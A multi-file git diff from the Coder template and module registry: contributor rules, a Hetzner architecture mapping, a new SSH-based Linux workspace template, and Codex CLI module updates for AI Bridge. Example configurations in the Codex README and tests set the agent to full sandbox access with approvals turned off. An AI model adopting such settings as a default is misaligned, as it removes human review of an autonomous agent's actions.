- All modules must pass `terraform test`
|
||||
- Use `bun run test` for comprehensive testing
|
||||
- Format code with `bun run fmt` before submission
|
||||
- Manual testing recommended for templates
|
||||
|
||||
### Namespace Management
|
||||
|
||||
- Each contributor gets unique namespace
|
||||
- Namespace avatar required (avatar.png/svg in .images/)
|
||||
- Namespace README with contributor info and frontmatter
|
||||
- Version bumped via `.github/scripts/version-bump.sh` if module changed (patch=bugfix, minor=feature, major=breaking)
|
||||
- Breaking changes documented: removed inputs, changed defaults, new required variables
|
||||
- New variables have sensible defaults to maintain backward compatibility
|
||||
- Tests pass (`bun run tftest`, `bun run tstest`); add diagnostic logging for test failures
|
||||
- README examples updated with new version number; tooltip/behavior changes noted
|
||||
- Shell scripts handle errors gracefully (use `|| echo "Warning..."` for non-fatal failures)
|
||||
- No hardcoded values that should be configurable; no absolute URLs (use relative paths)
|
||||
- If AI-assisted: include model and tool/agent name at footer of PR body (e.g., "Generated with [Amp](thread-url) using Claude")
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
# GitHub Actions Workflow Owners
|
||||
.github/ @jdomeracki-coder
|
||||
@@ -137,11 +137,12 @@ locals {
|
||||
hcloud_server_types = {
|
||||
for st in jsondecode(data.http.hcloud_server_types.response_body).server_types :
|
||||
st.name => {
|
||||
cores = st.cores
|
||||
memory_gb = st.memory
|
||||
disk_gb = st.disk
|
||||
locations = [for l in st.locations : l.name]
|
||||
deprecated = st.deprecated
|
||||
cores = st.cores
|
||||
memory_gb = st.memory
|
||||
disk_gb = st.disk
|
||||
architecture = st.architecture
|
||||
locations = [for l in st.locations : l.name]
|
||||
deprecated = st.deprecated
|
||||
}
|
||||
if st.deprecated == false
|
||||
}
|
||||
@@ -162,6 +163,19 @@ locals {
|
||||
data.coder_parameter.hcloud_location.value
|
||||
)
|
||||
]
|
||||
|
||||
# Map Hetzner architecture (x86 or arm) to Coder agent architecture (amd64 or arm64)
|
||||
agent_arch = try(
|
||||
lookup(
|
||||
{
|
||||
"x86" = "amd64"
|
||||
"arm" = "arm64"
|
||||
},
|
||||
local.hcloud_server_types[data.coder_parameter.hcloud_server_type.value].architecture,
|
||||
"amd64" # Fallback if not returned
|
||||
),
|
||||
"amd64" # Fallback for template setup
|
||||
)
|
||||
}
|
||||
|
||||
data "coder_provisioner" "me" {}
|
||||
@@ -187,7 +201,7 @@ data "coder_parameter" "home_volume_size" {
|
||||
|
||||
resource "coder_agent" "main" {
|
||||
os = "linux"
|
||||
arch = "amd64"
|
||||
arch = local.agent_arch
|
||||
|
||||
metadata {
|
||||
key = "cpu"
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 54 KiB |
@@ -0,0 +1,16 @@
|
||||
---
|
||||
display_name: "Tao Chen"
|
||||
bio: "I believe in the power of technology to simplify life. Currently a freelancer, working on ideas that matter."
|
||||
github: "IamTaoChen"
|
||||
avatar: "./.images/avatar.png"
|
||||
support_email: "IamTaoChen@gmail.com"
|
||||
status: "community"
|
||||
---
|
||||
|
||||
# Tao Chen
|
||||
|
||||
## Template
|
||||
|
||||
### ssh-linux
|
||||
|
||||
Provision an existing Linux system as a workspace by deploying the Coder agent via SSH with this example template.
|
||||
@@ -0,0 +1,58 @@
|
||||
---
|
||||
display_name: Deploy Coder on existing Linux System
|
||||
description: Provision an existing Linux system as a workspace by deploying the Coder agent via SSH with this example template.
|
||||
icon: "../../../../.icons/linux.svg"
|
||||
verified: false
|
||||
tags: ["linux"]
|
||||
---
|
||||
|
||||
# Deploy Coder on existing Linux system
|
||||
|
||||
Provision an existing Linux system as a [Coder workspace](https://coder.com/docs/workspaces) by deploying the Coder agent via SSH with this example template.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Authentication
|
||||
|
||||
This template assumes you have SSH access to the target Linux system. You can use either password-based authentication or an SSH private key. Ensure the target system allows SSH connections and has basic utilities like `bash` installed. The user account specified must have sufficient permissions to execute scripts and manage processes in their home directory.
|
||||
|
||||
For more details on SSH setup, consult your Linux distribution's documentation or standard SSH guides.
|
||||
|
||||
## Architecture
|
||||
|
||||
This template deploys the following:
|
||||
|
||||
- A Coder agent configured for Linux (amd64 architecture).
|
||||
- Conditional parameters for SSH authentication (password or key).
|
||||
- A selection of applications (e.g., VS Code Desktop, VS Code Web, Cursor) that can be enabled via multi-select.
|
||||
- `null_resource` blocks to handle workspace start/stop:
|
||||
- On start: Connects via SSH, creates a cache directory, writes and executes the agent's init script in the background, and logs the process ID.
|
||||
- On stop: Connects via SSH, kills the agent process if running, and removes the cache directory.
|
||||
- Optional modules for additional apps like `coder-login`, `cursor`, and `vscode-web`, which are provisioned only if selected and when the workspace starts.
|
||||
|
||||
This setup does not provision new infrastructure; it remotely deploys and manages the Coder agent on your existing Linux host. Files and configurations in the user's home directory persist across restarts, but the agent is stopped and cleaned up on workspace stop.
|
||||
|
||||
### Persistent Agent
|
||||
|
||||
The agent is ephemeral by design (started on workspace start, stopped on stop). If you need a persistently running agent, modify the template to remove the stop logic or run the agent manually on the host.
|
||||
|
||||
## Security Considerations
|
||||
|
||||
Warning: This template stores SSH credentials (password or private key) in the Terraform state file and passes them as environment variables during deployment. In production environments, this can introduce security risks, as the state file contains sensitive information in plain text and may be accessible if not properly secured.
|
||||
|
||||
## Usage
|
||||
|
||||
1. Create a new workspace in Coder using this template.
|
||||
2. Fill in the parameters with your Linux system's details.
|
||||
3. Start the workspace—Coder will connect via SSH and deploy the agent.
|
||||
4. Access the workspace through the Coder dashboard. Selected apps (e.g., VS Code) will be available.
|
||||
5. On stop, the agent process is terminated and cleaned up.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
- **SSH Connection Issues**: Verify the host, port, username, and credentials. Check firewall rules and SSH server status on the target system. Review the debug log at `~/.coder/<workspace_id>/debug.log` on the remote host.
|
||||
- **Agent Not Starting**: Inspect the log file at `~/.coder/<workspace_id>/coder.log` on the remote host for errors.
|
||||
- **App Not Appearing**: Ensure the app is selected in parameters and the workspace is restarted if changes are made.
|
||||
- **Validation Errors**: Parameters like host and port have built-in validations—ensure inputs match the requirements.
|
||||
|
||||
For more advanced customization, refer to the [Coder Terraform provider documentation](https://registry.terraform.io/providers/coder/coder/latest/docs).
|
||||
@@ -0,0 +1,319 @@
|
||||
terraform {
|
||||
required_providers {
|
||||
coder = {
|
||||
source = "coder/coder"
|
||||
version = ">= 2.4.0"
|
||||
}
|
||||
random = {
|
||||
source = "hashicorp/random"
|
||||
version = ">= 3.6"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
provider "coder" {}
|
||||
data "coder_workspace" "me" {}
|
||||
data "coder_workspace_owner" "me" {}
|
||||
|
||||
|
||||
data "coder_parameter" "host" {
|
||||
description = "Remote Host or IP"
|
||||
display_name = "Host"
|
||||
name = "host"
|
||||
type = "string"
|
||||
default = "192.168.1.1"
|
||||
mutable = false
|
||||
order = 1
|
||||
validation {
|
||||
regex = "^[a-zA-Z0-9:.%\\-]+$"
|
||||
error = "Please enter a valid hostname, IPv4, or IPv6 address. Examples: example.com, 192.168.1.1, or fe80::1"
|
||||
}
|
||||
}
|
||||
|
||||
data "coder_parameter" "username" {
|
||||
default = data.coder_workspace_owner.me.name
|
||||
description = "SSH Username"
|
||||
display_name = "Username"
|
||||
name = "username"
|
||||
mutable = false
|
||||
order = 2
|
||||
}
|
||||
|
||||
data "coder_parameter" "auth_type" {
|
||||
name = "auth_type"
|
||||
display_name = "SSH Auth Type"
|
||||
description = "Authentication method for SSH"
|
||||
type = "string"
|
||||
|
||||
form_type = "dropdown"
|
||||
default = "password"
|
||||
mutable = true
|
||||
order = 3
|
||||
option {
|
||||
name = "password"
|
||||
value = "password"
|
||||
}
|
||||
|
||||
option {
|
||||
name = "SSH Key Manual"
|
||||
value = "ssh_key"
|
||||
}
|
||||
|
||||
option {
|
||||
name = "SSH Key from Coder"
|
||||
value = "ssh_key_coder"
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
data "coder_parameter" "ssh_password" {
|
||||
count = data.coder_parameter.auth_type.value == "password" ? 1 : 0
|
||||
name = "ssh_password"
|
||||
display_name = "SSH Password"
|
||||
description = "Password for SSH login"
|
||||
type = "string"
|
||||
mutable = true
|
||||
styling = jsonencode({
|
||||
mask_input = true
|
||||
})
|
||||
order = 4
|
||||
}
|
||||
|
||||
data "coder_parameter" "ssh_key" {
|
||||
count = data.coder_parameter.auth_type.value == "ssh_key" ? 1 : 0
|
||||
name = "ssh_key"
|
||||
display_name = "SSH Private Key"
|
||||
description = "Paste SSH private key"
|
||||
type = "string"
|
||||
mutable = true
|
||||
form_type = "textarea"
|
||||
styling = jsonencode({
|
||||
mask_input = true
|
||||
})
|
||||
order = 4
|
||||
}
|
||||
|
||||
data "coder_parameter" "ssh_key_coder" {
|
||||
count = data.coder_parameter.auth_type.value == "ssh_key_coder" ? 1 : 0
|
||||
name = "ssh_key_coder"
|
||||
display_name = "Public Key From Coder"
|
||||
description = "Add this public key to your remote server's authorized_keys: \n\n${data.coder_workspace_owner.me.ssh_public_key}"
|
||||
default = "********************"
|
||||
styling = jsonencode({
|
||||
disabled = true
|
||||
mask_input = true
|
||||
})
|
||||
order = 4
|
||||
}
|
||||
|
||||
|
||||
data "coder_parameter" "port" {
|
||||
default = 22
|
||||
description = "SSH Port"
|
||||
display_name = "Port"
|
||||
name = "port"
|
||||
type = "number"
|
||||
mutable = true
|
||||
order = 5
|
||||
validation {
|
||||
min = 1
|
||||
max = 65535
|
||||
error = "Port must be between 1 and 65535"
|
||||
}
|
||||
}
|
||||
|
||||
data "coder_parameter" "apps" {
|
||||
name = "apps"
|
||||
display_name = "Choose any APPs for your workspace."
|
||||
type = "list(string)"
|
||||
form_type = "multi-select"
|
||||
mutable = true
|
||||
default = jsonencode(["VS Code Desktop"])
|
||||
dynamic "option" {
|
||||
for_each = local.apps_candidate
|
||||
content {
|
||||
name = option.value
|
||||
value = option.value
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
locals {
|
||||
username = data.coder_parameter.username.value
|
||||
home_dir = "/home/${lower(local.username)}"
|
||||
coder_cache_dir = "${local.home_dir}/.coder/${data.coder_workspace.me.id}"
|
||||
agent_id_file = "${local.coder_cache_dir}/agent.id"
|
||||
use_password = data.coder_parameter.auth_type.value == "password"
|
||||
use_key = contains(["ssh_key", "ssh_key_coder"], data.coder_parameter.auth_type.value)
|
||||
ssh_password = local.use_password ? data.coder_parameter.ssh_password[0].value : null
|
||||
ssh_private_key = data.coder_parameter.auth_type.value == "ssh_key_coder" ? data.coder_workspace_owner.me.ssh_private_key : (length(data.coder_parameter.ssh_key) > 0 ? data.coder_parameter.ssh_key[0].value : null)
|
||||
apps_candidate = ["VS Code Desktop", "VS Code Web", "Cursor"]
|
||||
apps_selected = (can(data.coder_parameter.apps.value) && data.coder_parameter.apps.value != "") ? jsondecode(data.coder_parameter.apps.value) : []
|
||||
}
|
||||
|
||||
resource "random_integer" "vs_code_port" {
|
||||
min = 54000
|
||||
max = 55999
|
||||
}
|
||||
|
||||
resource "coder_agent" "main" {
|
||||
os = "linux"
|
||||
arch = "amd64"
|
||||
|
||||
startup_script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
EOT
|
||||
|
||||
env = {
|
||||
GIT_AUTHOR_NAME = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name)
|
||||
GIT_AUTHOR_EMAIL = "${data.coder_workspace_owner.me.email}"
|
||||
GIT_COMMITTER_NAME = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name)
|
||||
GIT_COMMITTER_EMAIL = "${data.coder_workspace_owner.me.email}"
|
||||
}
|
||||
|
||||
display_apps {
|
||||
port_forwarding_helper = true
|
||||
vscode = contains(local.apps_selected, "VS Code Desktop")
|
||||
vscode_insiders = false
|
||||
web_terminal = true
|
||||
ssh_helper = true
|
||||
}
|
||||
|
||||
metadata {
|
||||
key = "cpu"
|
||||
display_name = "CPU Usage"
|
||||
interval = 5
|
||||
timeout = 5
|
||||
script = "coder stat cpu"
|
||||
}
|
||||
metadata {
|
||||
key = "memory"
|
||||
display_name = "Memory Usage"
|
||||
interval = 5
|
||||
timeout = 5
|
||||
script = "coder stat mem"
|
||||
}
|
||||
metadata {
|
||||
key = "disk"
|
||||
display_name = "Home Disk Usage"
|
||||
interval = 600
|
||||
timeout = 30
|
||||
script = "coder stat disk --path ${lower(local.home_dir)}"
|
||||
}
|
||||
}
|
||||
|
||||
resource "null_resource" "deploy_coder_agent" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
|
||||
triggers = {
|
||||
init_script = sha256(coder_agent.main.init_script)
|
||||
token = coder_agent.main.token
|
||||
}
|
||||
|
||||
connection {
|
||||
type = "ssh"
|
||||
host = data.coder_parameter.host.value
|
||||
user = data.coder_parameter.username.value
|
||||
port = data.coder_parameter.port.value
|
||||
password = local.ssh_password
|
||||
private_key = local.ssh_private_key
|
||||
timeout = "5m"
|
||||
}
|
||||
|
||||
provisioner "remote-exec" {
|
||||
inline = [
|
||||
"mkdir -p ${local.coder_cache_dir}",
|
||||
"coder_sh=${local.coder_cache_dir}/coder.sh",
|
||||
"log_file=${local.coder_cache_dir}/coder.log",
|
||||
"cat > $coder_sh << 'EOF'",
|
||||
"${coder_agent.main.init_script}",
|
||||
"EOF",
|
||||
"chmod +x $coder_sh",
|
||||
"echo \"$(date) : create $coder_sh\" >> ${local.coder_cache_dir}/debug.log",
|
||||
"nohup env CODER_AGENT_TOKEN='${coder_agent.main.token}' $coder_sh > $log_file 2>&1 &",
|
||||
"echo $! > ${local.agent_id_file}",
|
||||
"echo \"$(date) : run $coder_sh and log at $log_file\" >> ${local.coder_cache_dir}/debug.log",
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
resource "null_resource" "coder_stop" {
|
||||
count = (try(data.coder_workspace.me.start_count, 1) > 0 ? 0 : 1)
|
||||
|
||||
connection {
|
||||
type = "ssh"
|
||||
host = data.coder_parameter.host.value
|
||||
user = data.coder_parameter.username.value
|
||||
port = data.coder_parameter.port.value
|
||||
password = local.ssh_password
|
||||
private_key = local.ssh_private_key
|
||||
timeout = "5m"
|
||||
}
|
||||
|
||||
provisioner "remote-exec" {
|
||||
inline = [
|
||||
"set -u",
|
||||
"PID_FILE=${local.agent_id_file}",
|
||||
# Only proceed if PID file exists
|
||||
"if [ -f \"$PID_FILE\" ]; then",
|
||||
" PID=$(cat \"$PID_FILE\")",
|
||||
# Check if it's actually a number and process exists
|
||||
" if [ -n \"$PID\" ] && echo \"$PID\" | grep -q '^[0-9][0-9]*$' && kill -0 \"$PID\" 2>/dev/null; then",
|
||||
" echo \"Gracefully stopping process $PID...\"",
|
||||
# First try graceful termination
|
||||
" kill -TERM \"$PID\" 2>/dev/null || true",
|
||||
# Wait and check repeatedly (up to ~15 seconds total)
|
||||
" for i in $(seq 1 15); do",
|
||||
" sleep 1",
|
||||
" if ! kill -0 \"$PID\" 2>/dev/null; then",
|
||||
" echo \"Process $PID terminated gracefully\"",
|
||||
" break",
|
||||
" fi",
|
||||
# Show we're still waiting (every 5 seconds)
|
||||
" expr $i % 5 = 0 >/dev/null && echo \"Still waiting... ($i/15 seconds)\"",
|
||||
" done",
|
||||
# Final check - only kill -9 if still alive"
|
||||
" if kill -0 \"$PID\" 2>/dev/null; then",
|
||||
" echo \"Process $PID did not terminate in time - sending SIGKILL\"",
|
||||
" kill -KILL \"$PID\" 2>/dev/null || true",
|
||||
" fi",
|
||||
" else",
|
||||
" echo \"No running process found for PID $PID (or invalid PID)\"",
|
||||
" fi",
|
||||
" ",
|
||||
# Clean lean up regardless of whether kill succeeded
|
||||
" rm -f \"$PID_FILE\"",
|
||||
" rm -rf ${local.coder_cache_dir} 2>/dev/null || true",
|
||||
"else",
|
||||
" echo \"PID file not found: $PID_FILE - nothing to clean up\"",
|
||||
"fi",
|
||||
"sync 2>/dev/null || true",
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
module "coder-login" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/coder-login/coder"
|
||||
version = "1.1.1"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
|
||||
module "cursor" {
|
||||
count = contains(local.apps_selected, "Cursor") ? data.coder_workspace.me.start_count : 0
|
||||
source = "registry.coder.com/coder/cursor/coder"
|
||||
version = "1.4.0"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
|
||||
module "vscode-web" {
|
||||
count = contains(local.apps_selected, "VS Code Web") ? data.coder_workspace.me.start_count : 0
|
||||
source = "registry.coder.com/coder/vscode-web/coder"
|
||||
version = "1.4.3"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = local.home_dir
|
||||
port = random_integer.vs_code_port.result
|
||||
accept_license = true
|
||||
}
|
||||
@@ -3,7 +3,7 @@ display_name: Codex CLI
|
||||
icon: ../../../../.icons/openai.svg
|
||||
description: Run Codex CLI in your workspace with AgentAPI integration
|
||||
verified: true
|
||||
tags: [agent, codex, ai, openai, tasks]
|
||||
tags: [agent, codex, ai, openai, tasks, aibridge]
|
||||
---
|
||||
|
||||
# Codex CLI
|
||||
@@ -13,7 +13,7 @@ Run Codex CLI in your workspace to access OpenAI's models through the Codex inte
|
||||
```tf
|
||||
module "codex" {
|
||||
source = "registry.coder.com/coder-labs/codex/coder"
|
||||
version = "3.1.1"
|
||||
version = "4.1.1"
|
||||
agent_id = coder_agent.example.id
|
||||
openai_api_key = var.openai_api_key
|
||||
workdir = "/home/coder/project"
|
||||
@@ -22,7 +22,6 @@ module "codex" {
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- You must add the [Coder Login](https://registry.coder.com/modules/coder/coder-login) module to your template
|
||||
- OpenAI API key for Codex access
|
||||
|
||||
## Examples
|
||||
@@ -33,7 +32,7 @@ module "codex" {
|
||||
module "codex" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder-labs/codex/coder"
|
||||
version = "3.1.1"
|
||||
version = "4.1.1"
|
||||
agent_id = coder_agent.example.id
|
||||
openai_api_key = "..."
|
||||
workdir = "/home/coder/project"
|
||||
@@ -41,37 +40,100 @@ module "codex" {
|
||||
}
|
||||
```
|
||||
|
||||
### Tasks integration
|
||||
### Usage with AI Bridge
|
||||
|
||||
[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. Requires Coder version 2.30+
|
||||
|
||||
For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage with Tasks](#usage-with-tasks) example below.
|
||||
|
||||
#### Standalone usage with AI Bridge
|
||||
|
||||
```tf
|
||||
data "coder_parameter" "ai_prompt" {
|
||||
type = "string"
|
||||
name = "AI Prompt"
|
||||
default = ""
|
||||
description = "Initial prompt for the Codex CLI"
|
||||
mutable = true
|
||||
module "codex" {
|
||||
source = "registry.coder.com/coder-labs/codex/coder"
|
||||
version = "4.1.1"
|
||||
agent_id = coder_agent.example.id
|
||||
workdir = "/home/coder/project"
|
||||
enable_aibridge = true
|
||||
}
|
||||
```
|
||||
|
||||
When `enable_aibridge = true`, the module:
|
||||
|
||||
- Configures Codex to use the AI Bridge profile with `base_url` pointing to `${data.coder_workspace.me.access_url}/api/v2/aibridge/openai/v1` and `env_key` pointing to the workspace owner's session token
|
||||
|
||||
```toml
|
||||
[model_providers.aibridge]
|
||||
name = "AI Bridge"
|
||||
base_url = "https://example.coder.com/api/v2/aibridge/openai/v1"
|
||||
env_key = "CODER_AIBRIDGE_SESSION_TOKEN"
|
||||
wire_api = "responses"
|
||||
|
||||
[profiles.aibridge]
|
||||
model_provider = "aibridge"
|
||||
model = "<model>" # as configured in the module input
|
||||
model_reasoning_effort = "<model_reasoning_effort>" # as configured in the module input
|
||||
```
|
||||
|
||||
Codex then runs with `--profile aibridge`
|
||||
|
||||
This allows Codex to route API requests through Coder's AI Bridge instead of directly to OpenAI's API.
|
||||
Template build will fail if `openai_api_key` is provided alongside `enable_aibridge = true`.
|
||||
|
||||
### Usage with Tasks
|
||||
|
||||
This example shows how to configure Codex with Coder tasks.
|
||||
|
||||
```tf
|
||||
resource "coder_ai_task" "task" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
app_id = module.codex.task_app_id
|
||||
}
|
||||
|
||||
module "coder-login" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/coder-login/coder"
|
||||
version = "3.1.1"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
data "coder_task" "me" {}
|
||||
|
||||
module "codex" {
|
||||
source = "registry.coder.com/coder-labs/codex/coder"
|
||||
version = "3.1.1"
|
||||
version = "4.1.1"
|
||||
agent_id = coder_agent.example.id
|
||||
openai_api_key = "..."
|
||||
ai_prompt = data.coder_parameter.ai_prompt.value
|
||||
ai_prompt = data.coder_task.me.prompt
|
||||
workdir = "/home/coder/project"
|
||||
|
||||
# Custom configuration for full auto mode
|
||||
# Optional: route through AI Bridge (Premium feature)
|
||||
# enable_aibridge = true
|
||||
}
|
||||
```
|
||||
|
||||
### Advanced Configuration
|
||||
|
||||
This example shows additional configuration options for custom models, MCP servers, and base configuration.
|
||||
|
||||
```tf
|
||||
module "codex" {
|
||||
source = "registry.coder.com/coder-labs/codex/coder"
|
||||
version = "4.1.1"
|
||||
agent_id = coder_agent.example.id
|
||||
openai_api_key = "..."
|
||||
workdir = "/home/coder/project"
|
||||
|
||||
codex_version = "0.1.0" # Pin to a specific version
|
||||
codex_model = "gpt-4o" # Custom model
|
||||
|
||||
# Override default configuration
|
||||
base_config_toml = <<-EOT
|
||||
sandbox_mode = "danger-full-access"
|
||||
approval_policy = "never"
|
||||
preferred_auth_method = "apikey"
|
||||
EOT
|
||||
|
||||
# Add extra MCP servers
|
||||
additional_mcp_servers = <<-EOT
|
||||
[mcp_servers.GitHub]
|
||||
command = "npx"
|
||||
args = ["-y", "@modelcontextprotocol/server-github"]
|
||||
type = "stdio"
|
||||
EOT
|
||||
}
|
||||
```
|
||||
|
||||
@@ -101,33 +163,6 @@ preferred_auth_method = "apikey"
|
||||
network_access = true
|
||||
```
|
||||
|
||||
### Custom Configuration
|
||||
|
||||
For custom Codex configuration, use `base_config_toml` and/or `additional_mcp_servers`:
|
||||
|
||||
```tf
|
||||
module "codex" {
|
||||
source = "registry.coder.com/coder-labs/codex/coder"
|
||||
version = "3.1.1"
|
||||
# ... other variables ...
|
||||
|
||||
# Override default configuration
|
||||
base_config_toml = <<-EOT
|
||||
sandbox_mode = "danger-full-access"
|
||||
approval_policy = "never"
|
||||
preferred_auth_method = "apikey"
|
||||
EOT
|
||||
|
||||
# Add extra MCP servers
|
||||
additional_mcp_servers = <<-EOT
|
||||
[mcp_servers.GitHub]
|
||||
command = "npx"
|
||||
args = ["-y", "@modelcontextprotocol/server-github"]
|
||||
type = "stdio"
|
||||
EOT
|
||||
}
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> If no custom configuration is provided, the module uses secure defaults. The Coder MCP server is always included automatically. For containerized workspaces (Docker/Kubernetes), you may need `sandbox_mode = "danger-full-access"` to avoid permission issues. For advanced options, see [Codex config docs](https://github.com/openai/codex/blob/main/codex-rs/config.md).
|
||||
|
||||
@@ -137,7 +172,7 @@ module "codex" {
|
||||
- Ensure your OpenAI API key has access to the specified model
|
||||
|
||||
> [!IMPORTANT]
|
||||
> To use tasks with Codex CLI, ensure you have the `openai_api_key` variable set, and **you create a `coder_parameter` named `"AI Prompt"` and pass its value to the codex module's `ai_prompt` variable**. [Tasks Template Example](https://registry.coder.com/templates/coder-labs/tasks-docker).
|
||||
> To use tasks with Codex CLI, ensure you have the `openai_api_key` variable set. [Tasks Template Example](https://registry.coder.com/templates/coder-labs/tasks-docker).
|
||||
> The module automatically configures Codex with your API key and model preferences.
|
||||
> workdir is a required variable for the module to function correctly.
|
||||
|
||||
@@ -146,3 +181,4 @@ module "codex" {
|
||||
- [Codex CLI Documentation](https://github.com/openai/codex)
|
||||
- [AgentAPI Documentation](https://github.com/coder/agentapi)
|
||||
- [Coder AI Agents Guide](https://coder.com/docs/tutorials/ai-agents)
|
||||
- [AI Bridge](https://coder.com/docs/ai-coder/ai-bridge)
|
||||
|
||||
@@ -113,7 +113,7 @@ describe("codex", async () => {
|
||||
sandbox_mode = "danger-full-access"
|
||||
approval_policy = "never"
|
||||
preferred_auth_method = "apikey"
|
||||
|
||||
|
||||
[custom_section]
|
||||
new_feature = true
|
||||
`.trim();
|
||||
@@ -189,7 +189,7 @@ describe("codex", async () => {
|
||||
args = ["-y", "@modelcontextprotocol/server-github"]
|
||||
type = "stdio"
|
||||
description = "GitHub integration"
|
||||
|
||||
|
||||
[mcp_servers.FileSystem]
|
||||
command = "npx"
|
||||
args = ["-y", "@modelcontextprotocol/server-filesystem", "/workspace"]
|
||||
@@ -215,7 +215,7 @@ describe("codex", async () => {
|
||||
approval_policy = "untrusted"
|
||||
preferred_auth_method = "chatgpt"
|
||||
custom_setting = "test-value"
|
||||
|
||||
|
||||
[advanced_settings]
|
||||
timeout = 30000
|
||||
debug = true
|
||||
@@ -228,7 +228,7 @@ describe("codex", async () => {
|
||||
args = ["--serve", "--port", "8080"]
|
||||
type = "stdio"
|
||||
description = "Custom development tool"
|
||||
|
||||
|
||||
[mcp_servers.DatabaseMCP]
|
||||
command = "python"
|
||||
args = ["-m", "database_mcp_server"]
|
||||
@@ -454,4 +454,32 @@ describe("codex", async () => {
|
||||
);
|
||||
expect(startLog.stdout).not.toContain("test prompt");
|
||||
});
|
||||
|
||||
test("codex-with-aibridge", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {
|
||||
enable_aibridge: "true",
|
||||
model_reasoning_effort: "none",
|
||||
},
|
||||
});
|
||||
|
||||
await execModuleScript(id);
|
||||
|
||||
const startLog = await readFileContainer(
|
||||
id,
|
||||
"/home/coder/.codex-module/agentapi-start.log",
|
||||
);
|
||||
|
||||
const configToml = await readFileContainer(
|
||||
id,
|
||||
"/home/coder/.codex/config.toml",
|
||||
);
|
||||
expect(startLog).toContain("AI Bridge is enabled, using profile aibridge");
|
||||
expect(startLog).toContain(
|
||||
"Starting Codex with arguments: --profile aibridge",
|
||||
);
|
||||
expect(configToml).toContain(
|
||||
"[profiles.aibridge]\n" + 'model_provider = "aibridge"',
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
terraform {
|
||||
required_version = ">= 1.0"
|
||||
required_version = ">= 1.9"
|
||||
|
||||
required_providers {
|
||||
coder = {
|
||||
source = "coder/coder"
|
||||
version = ">= 2.7"
|
||||
version = ">= 2.12"
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -71,6 +71,27 @@ variable "cli_app_display_name" {
|
||||
default = "Codex CLI"
|
||||
}
|
||||
|
||||
variable "enable_aibridge" {
|
||||
type = bool
|
||||
description = "Use AI Bridge for Codex. https://coder.com/docs/ai-coder/ai-bridge"
|
||||
default = false
|
||||
|
||||
validation {
|
||||
condition = !(var.enable_aibridge && length(var.openai_api_key) > 0)
|
||||
error_message = "openai_api_key cannot be provided when enable_aibridge is true. AI Bridge automatically authenticates the client using Coder credentials."
|
||||
}
|
||||
}
|
||||
|
||||
variable "model_reasoning_effort" {
|
||||
type = string
|
||||
description = "The reasoning effort for the AI Bridge model. One of: none, low, medium, high. https://platform.openai.com/docs/guides/latest-model#lower-reasoning-effort"
|
||||
default = "medium"
|
||||
validation {
|
||||
condition = contains(["none", "low", "medium", "high"], var.model_reasoning_effort)
|
||||
error_message = "model_reasoning_effort must be one of: none, low, medium, high."
|
||||
}
|
||||
}
|
||||
|
||||
variable "install_codex" {
|
||||
type = bool
|
||||
description = "Whether to install Codex."
|
||||
@@ -110,13 +131,13 @@ variable "install_agentapi" {
|
||||
variable "agentapi_version" {
|
||||
type = string
|
||||
description = "The version of AgentAPI to install."
|
||||
default = "v0.10.0"
|
||||
default = "v0.11.8"
|
||||
}
|
||||
|
||||
variable "codex_model" {
|
||||
type = string
|
||||
description = "The model for Codex to use. Defaults to gpt-5."
|
||||
default = ""
|
||||
description = "The model for Codex to use. Defaults to gpt-5.2-codex."
|
||||
default = "gpt-5.2-codex"
|
||||
}
|
||||
|
||||
variable "pre_install_script" {
|
||||
@@ -155,17 +176,36 @@ resource "coder_env" "openai_api_key" {
|
||||
value = var.openai_api_key
|
||||
}
|
||||
|
||||
resource "coder_env" "coder_aibridge_session_token" {
|
||||
count = var.enable_aibridge ? 1 : 0
|
||||
agent_id = var.agent_id
|
||||
name = "CODER_AIBRIDGE_SESSION_TOKEN"
|
||||
value = data.coder_workspace_owner.me.session_token
|
||||
}
|
||||
|
||||
locals {
|
||||
workdir = trimsuffix(var.workdir, "/")
|
||||
app_slug = "codex"
|
||||
install_script = file("${path.module}/scripts/install.sh")
|
||||
start_script = file("${path.module}/scripts/start.sh")
|
||||
module_dir_name = ".codex-module"
|
||||
aibridge_config = <<-EOF
|
||||
[model_providers.aibridge]
|
||||
name = "AI Bridge"
|
||||
base_url = "${data.coder_workspace.me.access_url}/api/v2/aibridge/openai/v1"
|
||||
env_key = "CODER_AIBRIDGE_SESSION_TOKEN"
|
||||
wire_api = "responses"
|
||||
|
||||
[profiles.aibridge]
|
||||
model_provider = "aibridge"
|
||||
model = "${var.codex_model}"
|
||||
model_reasoning_effort = "${var.model_reasoning_effort}"
|
||||
EOF
|
||||
}
|
||||
|
||||
module "agentapi" {
|
||||
source = "registry.coder.com/coder/agentapi/coder"
|
||||
version = "1.2.0"
|
||||
version = "2.0.0"
|
||||
|
||||
agent_id = var.agent_id
|
||||
folder = local.workdir
|
||||
